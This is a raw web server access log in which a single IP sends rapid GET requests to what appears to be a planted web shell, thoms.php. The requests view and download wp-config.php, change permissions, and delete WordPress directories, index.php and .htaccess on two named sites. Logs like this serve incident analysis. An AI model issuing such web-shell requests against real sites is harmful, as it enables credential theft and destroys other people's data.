45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-load.php HTTP/1.1" 200 13663 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=mah.php&p=broadweb.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 17369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=wp-includes&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=error_log HTTP/1.1" 200 14424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 17319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=mah.php&p=broadweb.com.tw HTTP/1.1" 200 17377 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=bridge-sample&p=broadweb.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-signup.php HTTP/1.1" 200 22507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=wp-admin&p=broadweb.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=wp-content&p=broadweb.com.tw HTTP/1.1" 200 17377 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-config.php HTTP/1.1" 200 13722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=.htaccess HTTP/1.1" 200 12722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=index.php HTTP/1.1" 200 12049 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12053 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=broadweb.com.tw&view=readme.html HTTP/1.1" 200 15243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=error_log&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?dl=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?del=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?chmod=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /broadweb.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12019 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 13425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 11506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12047 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:23 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "https://163.245.207.76/broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wrapper-global&p=besth2o.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&view=license.txt HTTP/1.1" 200 20071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=readme.html&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wrapper-global&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 11503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&upload= HTTP/1.1" 200 12149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 17518 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 12579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Flocoy.php&p=besth2o.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?dl=error_log&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?dl=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?dl=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&view=xmlrpc.php HTTP/1.1" 200 13361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=error_log&p=besth2o.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=index.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fthoms.php&p=besth2o.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?dl=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13015 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12041 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 17498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wp-content&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?p=besth2o.com.tw&view=locoy.php HTTP/1.1" 200 12950 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-login.php&p=besth2o.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:24 -0400] "GET /thoms.php?del=wp-admin&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=index.php HTTP/1.1" 200 12043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=license.txt&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-load.php HTTP/1.1" 200 13649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-config.php&p=besth2o.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 17515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=wp-includes&p=besth2o.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?dl=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Findex.php&p=besth2o.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=mah.php HTTP/1.1" 200 11812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 11512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-cron.php HTTP/1.1" 200 14183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&settings=1 HTTP/1.1" 200 11880 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?p=besth2o.com.tw&view=thoms.php HTTP/1.1" 200 11805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?dl=mah.php&p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?chmod=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:25 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fsegment-sample&p= HTTP/1.1" 200 12053 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
